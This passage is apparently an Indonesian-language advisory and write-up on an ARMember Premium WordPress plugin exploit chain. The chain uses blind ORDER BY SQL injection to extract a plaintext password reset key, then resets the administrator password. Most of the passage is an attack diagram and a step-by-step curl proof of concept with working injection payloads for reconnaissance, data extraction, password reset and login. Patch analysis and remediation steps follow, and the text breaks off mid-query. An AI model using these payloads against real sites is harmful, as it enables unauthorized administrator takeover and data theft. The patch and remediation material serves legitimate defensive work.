\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 5: KEY EXTRACTION                                                        \u2502\\n     \u2502  \\&#8221;Baca plaintext password reset key dari database via SQLi\\&#8221;                     \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  5a. Ekstrak arm_reset_password_key (CVE-2026-5076 \u2014 PLAINTEXT!)               \u2502\\n     \u2502      \u251c\u2500 Binary search per-karakter via SQLi:                                    \u2502\\n     \u2502      \u2502   \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510                \u2502\\n     \u2502      \u2502   \u2502  Char 1: SUBSTRING(meta_value,1,1) \\u003e &#8216;M&#8217; ?         \u2502                \u2502\\n     \u2502      \u2502   \u2502  Char 1: SUBSTRING(meta_value,1,1) \\u003e &#8216;T&#8217; ?         \u2502                \u2502\\n     \u2502      \u2502   \u2502  &#8230;binary search converges&#8230;                       \u2502                \u2502\\n     \u2502      \u2502   \u2502  Char 1 = &#8216;X&#8217; \u2713                                      \u2502                \u2502\\n     \u2502      \u2502   \u2502  Char 2: SUBSTRING(meta_value,2,1) \\u003e &#8216;a&#8217; ?         \u2502                \u2502\\n     \u2502      \u2502   \u2502  &#8230;repeat for 20 characters&#8230;                      \u2502                \u2502\\n     \u2502      \u2502   \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518                \u2502\\n     \u2502      \u251c\u2500 Key length: 20 karakter alfanumerik (wp_generate_password(20, false))    \u2502\\n     \u2502      \u2514\u2500 Extraction time: ~7 queries \u00d7 20 chars = ~140 requests                  \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  5b. Fallback: Ekstrak user_activation_key (HASHED \u2014 tidak langsung pakai)     \u2502\\n     \u2502      \u2514\u2500 Format: hash keluaran wp_hash() \u2014 perlu cracking atau bypass           \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  5c. Key Persistence (BUG KRITIS!)                                              \u2502\\n     \u2502      \u251c\u2500 get_password_reset_key() TIDAK update arm_reset_password_key            \u2502\\n     \u2502      \u251c\u2500 Key plaintext TETAP ADA meskipun user sudah reset password              \u2502\\n     \u2502      \u2514\u2500 Key bisa dipakai BERULANG KALI sampai meta key dihapus                  \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: arm_key (plaintext 20-char) atau hashed_key (fallback)                 \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 6: PASSWORD RESET                                                        \u2502\\n     \u2502  \\&#8221;Gunakan plaintext key untuk reset password admin\\&#8221;                             \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  6a. ARMember Reset Endpoint (armrp)                                            \u2502\\n     \u2502      \u251c\u2500 GET \/?armrp=true\\u0026key=\\u003cPLAINTEXT_KEY\\u003e\\u0026login=\\u003cADMIN_LOGIN\\u003e                \u2502\\n     \u2502      \u251c\u2500 ARMember memverifikasi key PLAINTEXT vs database PLAINTEXT              \u2502\\n     \u2502      \u2502   \u2514\u2500 String comparison \u2014 BUKAN hash comparison!                          \u2502\\n     \u2502      \u251c\u2500 Jika match \u2192 tampilkan form reset password                              \u2502\\n     \u2502      \u2514\u2500 Endpoint ini adalah GET request (bukan AJAX) \u2014 bisa diakses langsung    \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  6b. WordPress Standard Reset (wp-login.php)                                    \u2502\\n     \u2502      \u251c\u2500 GET \/wp-login.php?action=rp\\u0026key=\\u003cKEY\\u003e\\u0026login=\\u003cADMIN_LOGIN\\u003e               \u2502\\n     \u2502      \u251c\u2500 WordPress memverifikasi key HASHED \u2014 plaintext key TIDAK berfungsi      \u2502\\n     \u2502      \u2514\u2500 Hanya berguna jika key dari user_activation_key (hashed)                \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  6c. Submit Password Baru                                                        \u2502\\n     \u2502      \u251c\u2500 POST ke form reset dengan password baru                                 \u2502\\n     \u2502      \u2514\u2500 Password baru ter-set \u2192 akun berhasil di-takeover                      \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: new_password, reset_confirmed                                           \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n                    \u2502\\n                    \u25bc\\n     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\n     \u2502  PHASE 7: VALIDATION                                                            \u2502\\n     \u2502  \\&#8221;Verifikasi akses admin penuh\\&#8221;                                                  \u2502\\n     \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\\n     \u2502                                                                                 \u2502\\n     \u2502  7a. Login WordPress Standard                                                    \u2502\\n     \u2502      \u251c\u2500 POST \/wp-login.php                                                       \u2502\\n     \u2502      \u2502   log=\\u003cADMIN_LOGIN\\u003e                                                        \u2502\\n     \u2502      \u2502   pwd=\\u003cNEW_PASSWORD\\u003e                                                       \u2502\\n     \u2502      \u2514\u2500 Redirect ke \/wp-admin\/ \u2192 dashboard accessible                            \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  7b. Login ARMember AJAX                                                         \u2502\\n     \u2502      \u251c\u2500 POST \/wp-admin\/admin-ajax.php                                            \u2502\\n     \u2502      \u2502   action=arm_ajax_login                                                    \u2502\\n     \u2502      \u2502   arm_wp_nonce=\\u003cNONCE\\u003e                                                     \u2502\\n     \u2502      \u2502   username=\\u003cADMIN_LOGIN\\u003e                                                   \u2502\\n     \u2502      \u2502   password=\\u003cNEW_PASSWORD\\u003e                                                  \u2502\\n     \u2502      \u2514\u2500 Response berisi user data + redirect URL                                  \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  7c. Verifikasi Dashboard Access                                                 \u2502\\n     \u2502      \u2514\u2500 GET \/wp-admin\/ \u2192 200 OK + admin menu visible                             \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557                   \u2502\\n     \u2502  \u2551  \u2713 FULL CHAIN EXPLOITED                                   \u2551                   \u2502\\n     \u2502  \u2551  Target: target.com                                       \u2551                   \u2502\\n     \u2502  \u2551  User: admin                                              \u2551                   \u2502\\n     \u2502  \u2551  Password: \\u003cnew_password\\u003e                                 \u2551                   \u2502\\n     \u2502  \u2551  Access: Full Administrator                               \u2551                   \u2502\\n     \u2502  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d                   \u2502\\n     \u2502                                                                                 \u2502\\n     \u2502  OUTPUT: login_confirmed, dashboard_accessible                                   \u2502\\n     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udcbb Proof of Concept\\n    \\n    ### Prasyarat\\n    \\n    &#8211; Target menjalankan **ARMember Premium \\u003c= 7.3.1**\\n    &#8211; Target memiliki **directory page** yang terekspos secara publik (untuk nonce + template_id)\\n    &#8211; Versi **\\u003e= 5.x** untuk fitur `arm_reset_password_key` (v4.x tidak memiliki fitur ini)\\n    \\n    ### PoC Minimal \u2014 Step by Step\\n    \\n    &#8220;`bash\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 1: RECONNAISSANCE\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 1a: Deteksi ARMember version\\n    curl -s https:\/\/target.com\/ | grep -oP &#8216;arm_css_version[\\&#8221;\\\\s:=]+\\\\K[0-9.]+&#8217;\\n    \\n    # Step 1b: Temukan directory page\\n    curl -s \\&#8221;https:\/\/target.com\/?s=members\\&#8221; | \\\\\\n      grep -oP &#8216;href=\\&#8221;(https?:\/\/[^\\&#8221;]+(?:member|directory)[^\\&#8221;]*)\\&#8221;&#8216; | \\\\\\n      head -5\\n    \\n    # Step 1c: Ekstrak nonce + template_id dari directory page\\n    curl -s https:\/\/target.com\/directory\/ | \\\\\\n      grep -oP &#8216;arm_wp_nonce.*?value=\\&#8221;[^\\&#8221;]*\\&#8221;&#8216; | head -1\\n    curl -s https:\/\/target.com\/directory\/ | \\\\\\n      grep -oP &#8216;template_id.*?value=\\&#8221;[^\\&#8221;]*\\&#8221;&#8216; | head -1\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 2: SQL INJECTION CONFIRMATION\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 2a: Konfirmasi SQLi dengan error-based oracle\\n    # TRUE condition \u2192 response besar (~10KB)\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=arm_directory_paging_action\\u0026arm_wp_nonce=NONCE\\u0026template_id=TID\\u0026type=directory\\u0026order=ASC,IF(1=1,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    \\n    # FALSE condition \u2192 response kecil (~90B, MySQL error)\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=arm_directory_paging_action\\u0026arm_wp_nonce=NONCE\\u0026template_id=TID\\u0026type=directory\\u0026order=ASC,IF(1=2,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    \\n    # Jika TRUE \u2260 FALSE \u2192 SQLi CONFIRMED\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 3: DATABASE ENUMERATION\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 3a: Deteksi table prefix via INFORMATION_SCHEMA\\n    # Test: apakah prefix wp_ ?\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=arm_directory_paging_action\\u0026arm_wp_nonce=NONCE\\u0026template_id=TID\\u0026type=directory\\u0026order=ASC,IF((SELECT COUNT(*) FROM wp_users)\\u003e0,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    # Jika response besar \u2192 prefix = wp_\\n    # Jika response kecil \u2192 coba prefix lain\\n    \\n    # Step 3b: Ekstrak admin user_login (binary search)\\n    # Contoh: karakter pertama \\u003e &#8216;a&#8217; ?\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=&#8230;\\u0026order=ASC,IF(SUBSTRING((SELECT user_login FROM wp_users WHERE ID=1),1,1)\\u003e&#8217;a&#8217;,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    # Repeat binary search per karakter&#8230;\\n    \\n    # Step 3c: Cek apakah arm_reset_password_key ada\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=&#8230;\\u0026order=ASC,IF((SELECT COUNT(*) FROM wp_usermeta WHERE meta_key=&#8217;arm_reset_password_key&#8217;)\\u003e0,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 4: TRIGGER PASSWORD RESET\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 4a: Trigger ARMember forgot-password (SET arm_reset_password_key)\\n    curl -s -X POST \\\\\\n      -d \\&#8221;action=arm_lost_password\\u0026arm_wp_nonce=NONCE\\u0026user_login=ADMIN_LOGIN\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    \\n    # Step 4b: Fallback \u2014 WordPress standard lostpassword\\n    curl -s -X POST \\\\\\n      -d \\&#8221;user_login=ADMIN_LOGIN\\u0026redirect_to=\\u0026wp-submit=Get+New+Password\\&#8221; \\\\\\n      https:\/\/target.com\/wp-login.php?action=lostpassword\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 5: EXTRACT PLAINTEXT KEY (CVE-2026-5076)\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 5a: Baca arm_reset_password_key dari database via SQLi\\n    # Binary search karakter per karakter\\n    # Karakter 1 \\u003e &#8216;M&#8217; ?\\n    curl -s -o \/dev\/null -w \\&#8221;%{size_download}\\&#8221; \\\\\\n      -d \\&#8221;action=&#8230;\\u0026order=ASC,IF(SUBSTRING((SELECT meta_value FROM wp_usermeta WHERE meta_key=&#8217;arm_reset_password_key&#8217; AND user_id=1),1,1)\\u003e&#8217;M&#8217;,1,EXP(710))\\&#8221; \\\\\\n      https:\/\/target.com\/wp-admin\/admin-ajax.php\\n    \\n    # &#8230; repeat untuk 20 karakter &#8230;\\n    # Hasil: PLAINTEXT KEY berhasil diekstrak\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 6: RESET PASSWORD\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 6a: Akses ARMember reset endpoint dengan plaintext key\\n    curl -v \\&#8221;https:\/\/target.com\/?armrp=true\\u0026key=\\u003cEXTRACTED_KEY\\u003e\\u0026login=admin\\&#8221;\\n    \\n    # Jika key match \u2192 form reset password ditampilkan!\\n    # Step 6b: Submit password baru\\n    curl -s -X POST \\\\\\n      -d \\&#8221;pass1=NewPassword123!\\u0026pass2=NewPassword123!\\u0026key=\\u003cEXTRACTED_KEY\\u003e\\u0026login=admin\\&#8221; \\\\\\n      \\&#8221;https:\/\/target.com\/?armrp=true\\&#8221;\\n    \\n    \\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    # PHASE 7: VALIDATE LOGIN\\n    # \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\n    \\n    # Step 7a: Login dengan password baru\\n    curl -v -X POST \\\\\\n      -d \\&#8221;log=admin\\u0026pwd=NewPassword123!\\u0026wp-submit=Log+In\\&#8221; \\\\\\n      https:\/\/target.com\/wp-login.php\\n    \\n    # Step 7b: Verifikasi dashboard access\\n    curl -s -L -c cookies.txt \\\\\\n      -d \\&#8221;log=admin\\u0026pwd=NewPassword123!\\u0026wp-submit=Log+In\\&#8221; \\\\\\n      https:\/\/target.com\/wp-login.php \\u0026\\u0026 \\\\\\n    curl -s -b cookies.txt https:\/\/target.com\/wp-admin\/ | \\\\\\n      grep \\&#8221;Dashboard\\&#8221;\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udd27 Analisis Patch (v7.3.2)\\n    \\n    Perbaikan di versi 7.3.2 mengatasi ketiga CVE:\\n    \\n    ### Patch CVE-2026-5076 (Plaintext Key)\\n    \\n    &#8220;`php\\n    \/\/ VULNERABLE (\\u003c=7.3.1)\\n    update_user_meta($user_id, &#8216;arm_reset_password_key&#8217;, $wp_key);\\n    \/\/                                   plaintext key ^^^^^^^\\n    \\n    \/\/ PATCHED (7.3.2)\\n    $hashed_key = wp_hash($wp_key);\\n    update_user_meta($user_id, &#8216;arm_reset_password_key&#8217;, $hashed_key);\\n    \/\/                                   hashed key ^^^^^^^^^^^\\n    &#8220;`\\n    \\n    &#8211; Key sekarang disimpan dalam bentuk **hashed** menggunakan `wp_hash()`\\n    &#8211; Verifikasi key menggunakan `wp_check_password()` atau hash comparison\\n    &#8211; Key lama yang sudah plaintext harus dihapus manual\\n    \\n    ### Patch CVE-2026-5073 (ORDER BY SQLi)\\n    \\n    &#8220;`php\\n    \/\/ VULNERABLE (\\u003c=7.3.1)\\n    $orderby = \\&#8221;u.{$arm_member} {$order_dir}\\&#8221;;\\n    \/\/                       ^^^^^^^^^^ langsung dari user input\\n    \\n    \/\/ PATCHED (7.3.2)\\n    $allowed_orders = array(&#8216;ASC&#8217;, &#8216;DESC&#8217;, &#8216;asc&#8217;, &#8216;desc&#8217;);\\n    if (!in_array($order_dir, $allowed_orders, true)) {\\n        $order_dir = &#8216;ASC&#8217;;\\n    }\\n    $orderby = \\&#8221;u.{$arm_member} {$order_dir}\\&#8221;;\\n    &#8220;`\\n    \\n    ### Patch CVE-2026-5074 (WHERE SQLi)\\n    \\n    &#8220;`php\\n    \/\/ VULNERABLE (\\u003c=7.3.1)\\n    $where .= \\&#8221; AND \\&#8221; . $filter;\\n    \/\/                 ^^^^^^^ langsung concatenation\\n    \\n    \/\/ PATCHED (7.3.2)\\n    \/\/ Filter parameter removed from user input entirely\\n    \/\/ Filtering now handled server-side with prepared statements\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udee1\ufe0f Remediasi\\n    \\n    ### Langkah Segera\\n    \\n    1. **Update ARMember Premium** ke versi **7.3.2** atau lebih baru\\n    2. **Hapus semua `arm_reset_password_key`** yang ada di database:\\n       &#8220;`sql\\n       DELETE FROM wp_usermeta WHERE meta_key = &#8216;arm_reset_password_key&#8217;;\\n       &#8220;`\\n    3. **Reset semua password admin** \u2014 plaintext key lama mungkin sudah dikompromikan\\n    4. **Audit akun user** \u2014 cek akun administrator yang tidak dikenal\\n    5. **Batasi akses directory page** \u2014 pastikan hanya user terautentikasi yang bisa mengakses\\n    \\n    ### Deteksi Indikator Kompromi\\n    \\n    &#8220;`sql\\n    &#8212; Cek apakah ada arm_reset_password_key (indikasi 